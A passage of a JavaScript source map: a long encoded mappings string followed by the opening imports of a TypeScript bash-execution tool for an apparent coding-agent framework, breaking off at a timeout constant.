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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst 